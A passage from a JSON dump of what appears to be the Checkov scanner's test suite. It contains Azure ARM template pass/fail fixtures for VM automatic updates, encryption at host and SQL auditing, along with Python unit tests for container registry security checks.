\"[parameters('storageAccountName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"AzureServices\",\n          \"defaultAction\": \"[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"condition\": \"[parameters('isStorageBehindVnet')]\",\n          \"type\": \"Microsoft.Storage/storageAccounts/providers/roleAssignments\",\n          \"apiVersion\": \"2020-03-01-preview\",\n          \"name\": \"[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]\",\n            \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\"\n          ],\n          \"properties\": {\n            \"roleDefinitionId\": \"[variables('StorageBlobContributor')]\",\n            \"principalId\": \"[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]\",\n            \"scope\": \"[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]\",\n            \"principalType\": \"ServicePrincipal\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2019-06-01-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('sqlServerName')]\",\n      \"identity\": \"[if(parameters('isStorageBehindVnet'), json('{\\\"type\\\":\\\"SystemAssigned\\\"}'), json('null'))]\",\n      \"properties\": {\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"version\": \"12.0\"\n      },\n      \"tags\": {\n        \"displayName\": \"[parameters('sqlServerName')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"auditingSettings\",\n          \"apiVersion\": \"2019-06-01-preview\",\n          \"name\": \"DefaultAuditingSettings\",\n          \"dependsOn\": [\n            \"[parameters('sqlServerName')]\",\n            \"[parameters('storageAccountName')]\",\n            \"[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]\"\n          ],\n          \"properties\": {\n            \"state\": \"Enabled\",\n            \"retentionDays\": 90,\n            \"storageEndpoint\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]\",\n            \"storageAccountAccessKey\": \"[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]\",\n            \"storageAccountSubscriptionId\": \"[subscription().subscriptionId]\",\n            \"isStorageSecondaryKeyInUse\": false\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_WinVMAutomaticUpdates/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique name for the scale set. Must be 3-61 characters in length and unique across the VNet.\"\n      },\n      \"maxLength\": 61\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"defaultValue\": 2\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password on all VMs.\"\n      }\n    },\n    \"existingVnetName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the existing virtual network to deploy the scale set into.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location parameter\"\n      }\n    },\n    \"existingSubnetName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the existing subnet to deploy the scale set into.\"\n      }\n    }\n  },\n  \"variables\": {\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2020-12-01\",\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": false,\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"MicrosoftWindowsServer\",\n              \"offer\": \"WindowsServer\",\n              \"sku\": \"2016-Datacenter\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[parameters('vmssName')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPassword')]\",\n            \"windowsConfiguration\": {\n              \"enableAutomaticUpdates\": false,\n              \"provisionVmAgent\": true\n            }\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"nic\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"ipconfig\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('existingVnetName'), parameters('existingSubnetName'))]\"\n                        }\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    },\n    {\n      \"name\": \"fail\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2019-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"storageProfile\": {\n          \"osDisk\": {\n            \"createOption\": \"fromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"[variables('osDiskType')]\"\n            }\n          },\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftVisualStudio\",\n            \"offer\": \"visualstudio2019latest\",\n            \"sku\": \"vs-2019-comm-latest-ws2019\",\n            \"version\": \"latest\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n            }\n          ]\n        },\n        \"osProfile\": {\n          \"computerName\": \"[parameters('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\",\n          \"windowsConfiguration\": {\n            \"enableAutomaticUpdates\": false,\n            \"provisionVmAgent\": true\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_WinVMAutomaticUpdates/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2s_v3\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique name for the scale set. Must be 3-61 characters in length and unique across the VNet.\"\n      },\n      \"maxLength\": 61\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"defaultValue\": 2\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Admin password on all VMs.\"\n      }\n    },\n    \"existingVnetName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"vName of the existing virtual network to deploy the scale set into.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location parameter\"\n      }\n    },\n    \"existingSubnetName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the existing subnet to deploy the scale set into.\"\n      }\n    }\n  },\n  \"variables\": {\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2020-12-01\",\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": false,\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"MicrosoftWindowsServer\",\n              \"offer\": \"WindowsServer\",\n              \"sku\": \"2016-Datacenter\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[parameters('vmssName')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPassword')]\",\n            \"windowsConfiguration\": {\n                        \"enableAutomaticUpdates\": true,\n                        \"provisionVmAgent\": true\n                    }\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"nic\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"ipconfig\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('existingVnetName'), parameters('existingSubNetName'))]\"\n                        }\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    },\n    {\n            \"name\": \"pass\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2019-12-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('vmSize')]\"\n                },\n                \"storageProfile\": {\n                    \"osDisk\": {\n                        \"createOption\": \"fromImage\",\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"[variables('osDiskType')]\"\n                        }\n                    },\n                    \"imageReference\": {\n                        \"publisher\": \"MicrosoftVisualStudio\",\n                        \"offer\": \"visualstudio2019latest\",\n                        \"sku\": \"vs-2019-comm-latest-ws2019\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n                        }\n                    ]\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('vmName')]\",\n                    \"adminUsername\": \"[parameters('adminUsername')]\",\n                    \"adminPassword\": \"[parameters('adminPassword')]\",\n                    \"windowsConfiguration\": {\n                        \"enableAutomaticUpdates\": true,\n                        \"provisionVmAgent\": true\n                    }\n                }\n            }\n    },\n     {\n      \"apiVersion\": \"2019-12-01\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"missing\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[variables('storageAccountName')]\",\n        \"[variables('nicName')]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"[variables('imagePublisher')]\",\n            \"offer\": \"[variables('imageOffer')]\",\n            \"sku\": \"[parameters('windowsOSVersion')]\",\n            \"version\": \"latest\"\n          }\n        }\n      }\n    },\n        {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"missing\",\n      \"location\": \"[parameters('location')]\",\n      \"apiVersion\": \"2020-12-01\",\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": false,\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"MicrosoftWindowsServer\",\n              \"offer\": \"WindowsServer\",\n              \"sku\": \"2016-Datacenter\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[parameters('vmssName')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPassword')]\"\n\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_WinVMEncryptionAtHost/failed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"virtualMachines_myfirstwinvm_name\": {\n            \"defaultValue\": \"myfirstwinvm\",\n            \"type\": \"String\"\n        },\n        \"disks_myfirstwinvm_OsDisk_1_a34571d1b39545d19f340fc8b37e9c4c_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Compute/disks/myfirstwinvm_OsDisk_1_a34571d1b39545d19f340fc8b37e9c4c\",\n            \"type\": \"String\"\n        },\n        \"networkInterfaces_myfirstwinvm_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/example-resources/providers/Microsoft.Network/networkInterfaces/myfirstwinvm\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2023-03-01\",\n            \"name\": \"fail\",\n            \"location\": \"westeurope\",\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"Standard_F2\"\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"MicrosoftWindowsServer\",\n                        \"offer\": \"WindowsServer\",\n                        \"sku\": \"2016-Datacenter\",\n                        \"version\": \"latest\"\n                    },\n                    \"osDisk\": {\n                        \"osType\": \"Windows\",\n                        \"name\": \"[concat(parameters('virtualMachines_myfirstwinvm_name'), '_OsDisk_1_a34571d1b39545d19f340fc8b37e9c4c')]\",\n                        \"createOption\": \"FromImage\",\n                        \"caching\": \"ReadWrite\",\n                        \"writeAcceleratorEnabled\": false,\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"Standard_LRS\",\n                            \"id\": \"[parameters('disks_myfirstwinvm_OsDisk_1_a34571d1b39545d19f340fc8b37e9c4c_externalid')]\"\n                        },\n                        \"deleteOption\": \"Detach\",\n                        \"diskSizeGB\": 127\n                    },\n                    \"dataDisks\": []\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachines_myfirstwinvm_name')]\",\n                    \"adminUsername\": \"adminuser\",\n                    \"windowsConfiguration\": {\n                        \"provisionVMAgent\": true,\n                        \"enableAutomaticUpdates\": true,\n                        \"patchSettings\": {\n                            \"patchMode\": \"AutomaticByOS\",\n                            \"assessmentMode\": \"ImageDefault\",\n                            \"enableHotpatching\": false\n                        },\n                        \"winRM\": {\n                            \"listeners\": []\n                        },\n                        \"enableVMAgentPlatformUpdates\": false\n                    },\n                    \"secrets\": [],\n                    \"allowExtensionOperations\": false,\n                    \"requireGuestProvisionSignal\": true\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[parameters('networkInterfaces_myfirstwinvm_externalid')]\",\n                            \"properties\": {\n                                \"primary\": true\n                            }\n                        }\n                    ]\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": false\n                    }\n                },\n                \"priority\": \"Regular\",\n                \"extensionsTimeBudget\": \"PT1H30M\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_WinVMEncryptionAtHost/passed.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"networkInterfaceName1\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroupName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroupRules\": {\n            \"type\": \"array\"\n        },\n        \"subnetName\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualMachineName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineName1\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineComputerName1\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineRG\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"osDiskDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineSize\": {\n            \"type\": \"string\"\n        },\n        \"nicDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"virtualMachine1Zone\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"nsgId\": \"[resourceId(resourceGroup().name, 'Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]\",\n        \"vnetName\": \"[parameters('virtualNetworkName')]\",\n        \"vnetId\": \"[resourceId(resourceGroup().name,'Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]\",\n        \"subnetRef\": \"[concat(variables('vnetId'), '/subnets/', parameters('subnetName'))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('networkInterfaceName1')]\",\n            \"type\": \"Microsoft.Network/networkInterfaces\",\n            \"apiVersion\": \"2022-11-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"ipConfigurations\": [\n                    {\n                        \"name\": \"ipconfig1\",\n                        \"properties\": {\n                            \"subnet\": {\n                                \"id\": \"[variables('subnetRef')]\"\n                            },\n                            \"privateIPAllocationMethod\": \"Dynamic\"\n                        }\n                    }\n                ],\n                \"networkSecurityGroup\": {\n                    \"id\": \"[variables('nsgId')]\"\n                }\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroupName')]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroupRules')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"pass\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2022-03-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/networkInterfaces/', parameters('networkInterfaceName1'))]\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('virtualMachineSize')]\"\n                },\n                \"storageProfile\": {\n                    \"osDisk\": {\n                        \"createOption\": \"fromImage\",\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"[parameters('osDiskType')]\"\n                        },\n                        \"deleteOption\": \"[parameters('osDiskDeleteOption')]\"\n                    },\n                    \"imageReference\": {\n                        \"publisher\": \"canonical\",\n                        \"offer\": \"0001-com-ubuntu-server-focal\",\n                        \"sku\": \"20_04-lts-gen2\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', parameters('networkInterfaceName1'))]\",\n                            \"properties\": {\n                                \"deleteOption\": \"[parameters('nicDeleteOption')]\"\n                            }\n                        }\n                    ]\n                },\n                \"securityProfile\": {\n                    \"encryptionAtHost\": true,\n                    \"securityType\": \"[parameters('securityType')]\",\n                    \"uefiSettings\": {\n                        \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                        \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                    }\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachineComputerName1')]\",\n                    \"adminUsername\": \"[parameters('adminUsername')]\",\n                    \"linuxConfiguration\": {\n                        \"disablePasswordAuthentication\": true\n                    }\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": true\n                    }\n                }\n            },\n            \"zones\": [\n                \"[parameters('virtualMachine1Zone')]\"\n            ]\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/test_ACRAdminAccountDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.ACRAdminAccountDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestACRAdminAccountDisabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ACRAdminAccountDisabled\"\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerRegistry/registries.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerRegistry/registries.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_ACRAnonymousPullDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.ACRAnonymousPullDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestACRAnonymousPullDisabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ACRAnonymousPullDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.ContainerRegistry/registries.pass\",\n            \"Microsoft.ContainerRegistry/registries.pass2\",\n            \"Microsoft.ContainerRegistry/registries.pass3\",\n            \"Microsoft.ContainerRegistry/registries.pass4\",\n            \"Microsoft.ContainerRegistry/registries.pass5\",\n            \"Microsoft.ContainerRegistry/registries.pass6\"\n        }\n        failing_resources = {\n            \"Microsoft.ContainerRegistry/registries.fail\",\n            \"Microsoft.ContainerRegistry/registries.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_ACRContainerScanEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.ACRContainerScanEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestACRContainerScanEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ACRContainerScanEnabled\"\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerRegistry/registries.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerRegistry/registries.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_ACREnableImageQuarantine.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.ACREnableImageQuarantine import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestACREnableImageQuarantine(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACREnableImageQuarantine\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerRegistry/registries.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerRegistry/registries.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_ACREnableZoneRedundancy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.ACREnableZoneRedundancy import check\n\n\nclass TestACREnableZoneRedundancy(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACREnableZoneRedundancy\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerRegistry/registries.pass',\n            'Microsoft.ContainerRegistry/registries/replications.pass2',\n        }\n        failing_resources = {\n            'Microsoft.ContainerRegistry/registries.fail1',\n            'Microsoft.ContainerRegistry/registries/replications.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 